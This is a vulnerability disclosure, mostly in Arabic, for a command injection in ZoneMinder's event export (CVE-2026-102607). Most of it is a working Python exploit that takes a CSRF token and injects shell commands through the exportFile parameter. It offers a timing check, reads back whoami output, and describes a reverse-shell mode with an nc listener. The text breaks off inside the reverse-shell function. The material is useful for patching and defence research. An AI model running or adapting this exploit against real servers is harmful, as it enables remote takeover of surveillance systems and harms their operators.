Python PoC يستغل CVE-2026-102607، وهو حقن أوامر نظام تشغيل موثّق في ZoneMinder <= 1.38.1 عبر exportEvents() مما يتيح تنفيذ التعليمات البرمجية عن بُعد (RCE)، وتسريب مخرجات الأوامر، وأصداف عكسية.
توجد ثغرة حقن أوامر نظام التشغيل (OS Command Injection) في وظيفة تصدير الأحداث في ZoneMinder. يتم تمرير معامل طلب HTTP exportFile دون تعقيم إلى أمر shell يُنفَّذ عبر دالة exec() في PHP، مما يسمح لأي مستخدم مُصادَق عليه يمتلك صلاحية View Events بتنفيذ أوامر نظام تشغيل عشوائية على الخادم.
تؤدي هذه الثغرة إلى تنفيذ تعليمات برمجية عن بُعد (RCE) بالكامل بصلاحية مستخدم خادم الويب (www-data).
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hweb/ajax/event.php، السطر 103exportEvents() في web/skins/classic/includes/export_functions.php، الأسطر 1030–1032تقبل دالة exportEvents() معامل $export_root المأخوذ مباشرةً من $_REQUEST['exportFile'] (عبر ajax/event.php، السطر 103). يُستخدم هذا المعامل لبناء مسار الدليل المُضاف إلى أوامر tar وzip.
بينما يتم تهريب مسار ملف الأرشيف ($archive_path) في السطر 1020 بشكل صحيح باستخدام escapeshellarg()، فإن معامل الدليل اللاحق في السطر 1030 يُدمج مباشرةً في سلسلة الأمر دون أي تعقيم:
// Line 1020 — properly escaped ✓
$command .= ' --file='.escapeshellarg($archive_path);
// Line 1030 — NOT escaped ✗ (VULNERABLE)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';
// Line 1032 — executed
exec($command, $output, $status);
يمكن للمهاجم حقن محارف shell الوصفية (;، |، &&، إلخ) في معامل exportFile للخروج من أمر tar/zip المقصود وتنفيذ أوامر عشوائية. يمكن تحييد الشرطة المائلة اللاحقة / التي يضيفها PHP باستخدام # (محرف التعليق في shell).
HTTP Request: $_REQUEST['exportFile']
│
▼
ajax/event.php (line 103)
└── exportEvents(..., $_REQUEST['exportFile'])
│
▼
export_functions.php (line 890)
└── $export_root = $_REQUEST['exportFile'] // No sanitization
│
▼
export_functions.php (line 1030)
└── $command .= ' ' . $export_root . '/' // Direct concatenation
│
▼
export_functions.php (line 1032)
└── exec($command) // OS Command Execution
View Events أو View Snapshots.__csrf_magic صالح (يُجلب من أي صفحة في ZoneMinder).exportDetail=1: يجب تضمين هذا المعامل في الطلب لمنع خطأ PHP فادح في exportEventImagesMaster() عند استخدام معرّفات أحداث غير موجودة.#!/usr/bin/env python3
"""
=====================================================================
Affected Version : ZoneMinder <= 1.38.1
Tested On : ZoneMinder 1.38.1 (Docker)
Vulnerability : OS Command Injection in exportEvents()
CVSS Score : 9.9 (Critical)
Attack Vector : Network (Authenticated)
File : web/skins/classic/includes/export_functions.php
Sink : exec() at line 1032
Description:
The exportEvents() function in ZoneMinder constructs shell commands
for `tar` and `zip` archival using unsanitized user input from the
`exportFile` HTTP request parameter. This parameter is used as the
`$export_root` variable, which is directly concatenated into the
command string passed to exec() without escapeshellarg() or any
equivalent sanitization.
An authenticated attacker with "View Events" permission can inject
arbitrary OS commands by appending shell metacharacters (;) to the
`exportFile` parameter, achieving Remote Code Execution as the
web server user (www-data).
Usage:
1. Start a listener on your attack machine:
$ nc -lvnp <LPORT>
2. Run this exploit:
$ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>
3. The exploit supports three modes:
--mode check : Verify the vulnerability (sleep-based timing)
--mode whoami : Extract the output of `whoami`
--mode revshell: Spawn a reverse shell to LHOST:LPORT
Author : d4kw1n
Date : 2026-03-10
"""
import argparse
import re
import sys
import time
import urllib.parse
try:
import requests
except ImportError:
print("[-] 'requests' library required. Install with: pip install requests")
sys.exit(1)
BANNER = r"""
ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""
class ZMExploit:
def __init__(self, target, lhost=None, lport=None, session_cookie=None):
self.target = target.rstrip("/")
self.lhost = lhost
self.lport = lport
self.session = requests.Session()
self.session.verify = False
if session_cookie:
self.session.cookies.set("ZMSESSID", session_cookie)
def get_csrf_token(self):
"""Fetch a valid CSRF token from the target."""
res = self.session.get(f"{self.target}/index.php", timeout=10)
match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
if not match:
print("[-] Failed to extract CSRF token. Is the target reachable?")
return None
return match.group(1)
def send_payload(self, payload):
"""Send the injection payload via the export action."""
csrf = self.get_csrf_token()
if not csrf:
return None
data = {
"view": "request",
"request": "event",
"action": "export",
"exportFormat": "tar",
"exportDetail": "1",
"eids[]": "1",
"exportFile": payload,
"__csrf_magic": csrf,
}
try:
return self.session.post(
f"{self.target}/index.php", data=data, timeout=30
)
except requests.exceptions.ReadTimeout:
return None
def read_output(self, filename):
"""Read exfiltrated command output via archive.php."""
res = self.session.get(
f"{self.target}/index.php?view=archive&type=tar&file={filename}",
timeout=10,
)
return res.text.strip()
# ── Mode: check ──────────────────────────────────────────────
def check(self):
"""Verify the vulnerability using a timing-based approach."""
delay = 5
print(f"[*] Sending sleep {delay} payload for timing verification...")
payload = f"a; sleep {delay}; #"
start = time.time()
self.send_payload(payload)
elapsed = time.time() - start
print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
if elapsed >= delay:
print("[+] VULNERABLE - Command injection confirmed!")
return True
else:
print("[-] NOT VULNERABLE or target unreachable.")
return False
# ── Mode: whoami ─────────────────────────────────────────────
def whoami(self):
"""Extract the web server user via command output exfiltration."""
outfile = "whoami.tar"
print(f"[*] Injecting: whoami > {outfile}")
self.send_payload(f"a; whoami > {outfile}; #")
result = self.read_output(outfile)
if result:
print(f"[+] Server running as: {result}")
else:
print("[-] Could not retrieve output.")
return result
# ── Mode: revshell ───────────────────────────────────────────
def revshell(self):
"""Spawn a reverse shell using python3 on the target."""
if not self.lhost or not self.lport:
print("[-] --lhost and --lport are required for reverse shell mode.")
return False